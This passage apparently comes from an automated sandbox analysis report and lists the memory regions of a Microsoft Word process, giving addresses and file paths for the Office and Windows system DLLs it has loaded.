	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll")

Region:
	              id = 269
	        start_va = 0x7feeac30000
	          end_va = 0x7feec65bfff
	     entry_point = 0x7feeac30000
	     region_type = mapped_file
	            name = "mso.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll")

Region:
	              id = 270
	        start_va = 0x7feec660000
	          end_va = 0x7feed306fff
	     entry_point = 0x7feec660000
	     region_type = mapped_file
	            name = "mso98win32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso98win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso98win32client.dll")

Region:
	              id = 271
	        start_va = 0x7feed310000
	          end_va = 0x7feedddefff
	     entry_point = 0x7feed310000
	     region_type = mapped_file
	            name = "mso40uiwin32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll")

Region:
	              id = 272
	        start_va = 0x7feedde0000
	          end_va = 0x7feee4c3fff
	     entry_point = 0x7feedde0000
	     region_type = mapped_file
	            name = "mso30win32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll")

Region:
	              id = 273
	        start_va = 0x7feee4d0000
	          end_va = 0x7feee972fff
	     entry_point = 0x7feee4d0000
	     region_type = mapped_file
	            name = "mso20win32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll")

Region:
	              id = 274
	        start_va = 0x7feee980000
	          end_va = 0x7feef904fff
	     entry_point = 0x7feee980000
	     region_type = mapped_file
	            name = "oart.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll")

Region:
	              id = 275
	        start_va = 0x7feef910000
	          end_va = 0x7fef20e8fff
	     entry_point = 0x7feef910000
	     region_type = mapped_file
	            name = "wwlib.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wwlib.dll")

Region:
	              id = 276
	        start_va = 0x7fef2160000
	          end_va = 0x7fef21cefff
	     entry_point = 0x7fef2160000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")

Region:
	              id = 277
	        start_va = 0x7fef21d0000
	          end_va = 0x7fef220afff
	     entry_point = 0x7fef21d0000
	     region_type = mapped_file
	            name = "mlang.dll"
	        filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll")

Region:
	              id = 278
	        start_va = 0x7fef2300000
	          end_va = 0x7fef247dfff
	     entry_point = 0x7fef2300000
	     region_type = mapped_file
	            name = "dwrite.dll"
	        filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll")

Region:
	              id = 279
	        start_va = 0x7fef2480000
	          end_va = 0x7fef253ffff
	     entry_point = 0x7fef2480000
	     region_type = mapped_file
	            name = "wwintl.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wwintl.dll")

Region:
	              id = 280
	        start_va = 0x7fef2540000
	          end_va = 0x7fef2621fff
	     entry_point = 0x7fef2540000
	     region_type = mapped_file
	            name = "d2d1.dll"
	        filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll")

Region:
	              id = 281
	        start_va = 0x7fef2630000
	          end_va = 0x7fef26bafff
	     entry_point = 0x7fef2630000
	     region_type = mapped_file
	            name = "mso50win32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso50win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso50win32client.dll")

Region:
	              id = 282
	        start_va = 0x7fef26c0000
	          end_va = 0x7fef275bfff
	     entry_point = 0x7fef26c0000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcp140.dll")

Region:
	              id = 283
	        start_va = 0x7fef2760000
	          end_va = 0x7fef2825fff
	     entry_point = 0x7fef2760000
	     region_type = mapped_file
	            name = "d3d11.dll"
	        filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll")

Region:
	              id = 284
	        start_va = 0x7fef44d0000
	          end_va = 0x7fef4540fff
	     entry_point = 0x7fef44d0000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")

Region:
	              id = 285
	        start_va = 0x7fef4940000
	          end_va = 0x7fef4948fff
	     entry_point = 0x7fef4940000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")

Region:
	              id = 286
	        start_va = 0x7fef5c40000
	          end_va = 0x7fef5cb3fff
	     entry_point = 0x7fef5c40000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 287
	        start_va = 0x7fef5cc0000
	          end_va = 0x7fef5eb1fff
	     entry_point = 0x7fef5cc0000
	     region_type = mapped_file
	            name = "msxml6.dll"
	        filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll")

Region:
	              id = 288
	        start_va = 0x7fef70f0000
	          end_va = 0x7fef70f7fff
	     entry_point = 0x7fef70f0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 289
	        start_va = 0x7fef7100000
	          end_va = 0x7fef7163fff
	     entry_point = 0x7fef7100000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 290
	        start_va = 0x7fef7170000
	          end_va = 0x7fef71e0fff
	     entry_point = 0x7fef7170000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 291
	        start_va = 0x7fef71f0000
	          end_va = 0x7fef71fafff
	     entry_point = 0x7fef71f0000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 292
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7218fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 293
	        start_va = 0x7fef7220000
	          end_va = 0x7fef7234fff
	     entry_point = 0x7fef7220000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 294
	        start_va = 0x7fef7a70000
	          end_va = 0x7fef7c59fff
	     entry_point = 0x7fef7a70000
	     region_type = mapped_file
	            name = "c2r64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")

Region:
	              id = 295
	        start_va = 0x7fef7c60000
	          end_va = 0x7fef7e99fff
	     entry_point = 0x7fef7c60000
	     region_type = mapped_file
	            name = "appvisvsubsystems64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")

Region:
	              id = 296
	        start_va = 0x7fef8a00000
	          end_va = 0x7fef8a10fff
	     entry_point = 0x7fef8a00000
	     region_type = mapped_file
	            name = "msointl30.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl30.dll")

Region:
	              id = 297
	        start_va = 0x7fef95d0000
	          end_va = 0x7fef97ecfff
	     entry_point = 0x7fef95d0000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 298
	        start_va = 0x7fef97f0000
	          end_va = 0x7fef9b05fff
	     entry_point = 0x7fef97f0000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 299
	        start_va = 0x7fef9b10000
	          end_va = 0x7fef9b12fff
	     entry_point = 0x7fef9b10000
	     region_type = mapped_file
	            name = "api-ms-win-crt-utility-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll")

Region:
	              id = 300
	        start_va = 0x7fef9b20000
	          end_va = 0x7fef9b22fff
	     entry_point = 0x7fef9b20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-environment-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll")

Region:
	              id = 301
	        start_va = 0x7fef9b30000
	          end_va = 0x7fef9b32fff
	     entry_point = 0x7fef9b30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-filesystem-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll")

Region:
	              id = 302
	        start_va = 0x7fef9b40000
	          end_va = 0x7fef9b42fff
	     entry_point = 0x7fef9b40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-time-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll")

Region:
	              id = 303
	        start_va = 0x7fef9b50000
	          end_va = 0x7fef9b54fff
	     entry_point = 0x7fef9b50000
	     region_type = mapped_file
	            name = "api-ms-win-crt-multibyte-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll")

Region:
	              id = 304
	        start_va = 0x7fef9b60000
	          end_va = 0x7fef9b64fff
	     entry_point = 0x7fef9b60000
	     region_type = mapped_file
	            name = "api-ms-win-crt-math-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll")

Region:
	              id = 305
	        start_va = 0x7fef9b70000
	          end_va = 0x7fef9b72fff
	     entry_point = 0x7fef9b70000
	     region_type = mapped_file
	            name = "api-ms-win-crt-locale-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll")

Region:
	              id = 306
	        start_va = 0x7fef9c20000
	          end_va = 0x7fef9c23fff
	     entry_point = 0x7fef9c20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-convert-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll")

Region:
	              id = 307
	        start_va = 0x7fef9c30000
	          end_va = 0x7fef9c33fff
	     entry_point = 0x7fef9c30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-stdio-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll")

Region:
	              id = 308
	        start_va = 0x7fef9c40000
	          end_va = 0x7fef9c42fff
	     entry_point = 0x7fef9c40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-heap-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll")

Region:
	              id = 309
	        start_va = 0x7fef9c50000
	          end_va = 0x7fef9c53fff
	     entry_point = 0x7fef9c50000
	     region_type = mapped_file
	            name = "api-ms-win-crt-string-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll")

Region:
	              id = 310
	        start_va = 0x7fef9c60000
	          end_va = 0x7fef9c62fff
	     entry_point = 0x7fef9c60000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll")

Region:
	              id = 311
	        start_va = 0x7fef9c70000
	          end_va = 0x7fef9c72fff
	     entry_point = 0x7fef9c70000
	     region_type = mapped_file
	            name = "api-ms-win-core-processthreads-l1-1-1.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll")

Region:
	              id = 312
	        start_va = 0x7fef9c80000
	          end_va = 0x7fef9c82fff
	     entry_point = 0x7fef9c80000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 313
	        start_va = 0x7fef9c90000
	          end_va = 0x7fef9c92fff
	     entry_point = 0x7fef9c90000
	     region_type = mapped_file
	            name = "api-ms-win-core-localization-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll")

Region:
	              id = 314
	        start_va = 0x7fef9ca0000
	          end_va = 0x7fef9ca2fff
	     entry_point = 0x7fef9ca0000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l2-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll")

Region:
	              id = 315
	        start_va = 0x7fef9cb0000
	          end_va = 0x7fef9cb2fff
	     entry_point = 0x7fef9cb0000
	     region_type = mapped_file
	            name = "api-ms-win-core-timezone-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll")

Region:
	              id = 316
	        start_va = 0x7fef9cc0000
	          end_va = 0x7fef9db1fff
	     entry_point = 0x7fef9cc0000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")

Region:
	              id = 317
	        start_va = 0x7fef9dc0000
	          end_va = 0x7fef9dc3fff
	     entry_point = 0x7fef9dc0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-runtime-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll")

Region:
	              id = 318
	        start_va = 0x7fef9dd0000
	          end_va = 0x7fef9de5fff
	     entry_point = 0x7fef9dd0000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll")

Region:
	              id = 319
	        start_va = 0x7fefa680000
	          end_va = 0x7fefa726fff
	     entry_point = 0x7fefa680000
	     region_type = mapped_file
	            name = "dxgi.dll"
	        filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll")

Region:
	              id = 320
	        start_va = 0x7fefa730000
	          end_va = 0x7fefa784fff
	     entry_point = 0x7fefa730000
	     region_type = mapped_file
	            name = "d3d10_1core.dll"
	        filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll")

Region:
	              id = 321
	        start_va = 0x7fefa790000
	          end_va = 0x7fefa7c3fff
	     entry_point = 0x7fefa790000
	     region_type = mapped_file
	            name = "d3d10_1.dll"
	        filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll")

Region:
	              id = 322
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac17fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 323
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac30fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 324
	        start_va = 0x7fefacf0000
	          end_va = 0x7fefad42fff
	     entry_point = 0x7fefacf0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 325
	        start_va = 0x7fefae50000
	          end_va = 0x7fefae5afff
	     entry_point = 0x7fefae50000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 326
	        start_va = 0x7fefae60000
	          end_va = 0x7fefae86fff
	     entry_point = 0x7fefae60000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 327
	        start_va = 0x7fefb010000
	          end_va = 0x7fefb024fff
	     entry_point = 0x7fefb010000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 328
	        start_va = 0x7fefb310000
	          end_va = 0x7fefb33cfff
	     entry_point = 0x7fefb310000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 329
	        start_va = 0x7fefb360000
	          end_va = 0x7fefb370fff
	     entry_point = 0x7fefb360000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 330
	        start_va = 0x7fefb380000
	          end_va = 0x7fefb39bfff
	     entry_point = 0x7fefb380000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 331
	        start_va = 0x7fefb3a0000
	          end_va = 0x7fefb401fff
	     entry_point = 0x7fefb3a0000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 332
	        start_va = 0x7fefb4d0000
	          end_va = 0x7fefb4e4fff
	     entry_point = 0x7fefb4d0000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 333
	        start_va = 0x7fefb4f0000
	          end_va = 0x7fefb4fbfff
	     entry_point = 0x7fefb4f0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 334
	        start_va = 0x7fefb500000
	          end_va = 0x7fefb515fff
	     entry_point = 0x7fefb500000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 335
	        start_va = 0x7fefb5f0000
	          end_va = 0x7fefb5fbfff
	     entry_point = 0x7fefb5f0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 336
	        start_va = 0x7fefb630000
	          end_va = 0x7fefb640fff
	     entry_point = 0x7fefb630000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 337
	        start_va = 0x7fefb660000
	          end_va = 0x7fefb789fff
	     entry_point = 0x7fefb660000
	     region_type = mapped_file
	            name = "windowscodecs.dll"
	        filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")

Region:
	              id = 338
	        start_va = 0x7fefb790000
	          end_va = 0x7fefb7c4fff
	     entry_point = 0x7fefb790000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 339
	        start_va = 0x7fefb7d0000
	          end_va = 0x7fefb7e7fff
	     entry_point = 0x7fefb7d0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 340
	        start_va = 0x7fefb990000
	          end_va = 0x7fefbba4fff
	     entry_point = 0x7fefb990000
	     region_type = mapped_file
	            name = "gdiplus.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll")

Region:
	              id = 341
	        start_va = 0x7fefbbb0000
	          end_va = 0x7fefbc05fff
	     entry_point = 0x7fefbbb0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 342
	        start_va = 0x7fefbc60000
	          end_va = 0x7fefbe53fff
	     entry_point = 0x7fefbc60000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 343
	        start_va = 0x7fefc160000
	          end_va = 0x7fefc28bfff
	     entry_point = 0x7fefc160000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 344
	        start_va = 0x7fefc2e0000
	          end_va = 0x7fefc30bfff
	     entry_point = 0x7fefc2e0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 345
	        start_va = 0x7fefc560000
	          end_va = 0x7fefc56bfff
	     entry_point = 0x7fefc560000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 346
	        start_va = 0x7fefc630000
	          end_va = 0x7fefc636fff
	     entry_point = 0x7fefc630000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 347
	        start_va = 0x7fefc740000
	          end_va = 0x7fefc75dfff
	     entry_point = 0x7fefc740000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 348
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc899fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 349
	        start_va = 0x7fefc8d0000
	          end_va = 0x7fefc91bfff
	     entry_point = 0x7fefc8d0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 350
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 351
	        start_va = 0x7fefcab0000
	          end_va = 0x7fefcb0afff
	     entry_point = 0x7fefcab0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 352
	        start_va = 0x7fefcc20000
	          end_va = 0x7fefcc26fff
	     entry_point = 0x7fefcc20000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 353
	        start_va = 0x7fefcc30000
	          end_va = 0x7fefcc84fff
	     entry_point = 0x7fefcc30000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 354
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 355
	        start_va = 0x7fefce00000
	          end_va = 0x7fefce21fff
	     entry_point = 0x7fefce00000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 356
	        start_va = 0x7fefce30000
	          end_va = 0x7fefce7dfff
	     entry_point = 0x7fefce30000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 357
	        start_va = 0x7fefd190000
	          end_va = 0x7fefd1b2fff
	     entry_point = 0x7fefd190000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 358
	        start_va = 0x7fefd230000
	          end_va = 0x7fefd23afff
	     entry_point = 0x7fefd230000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 359
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
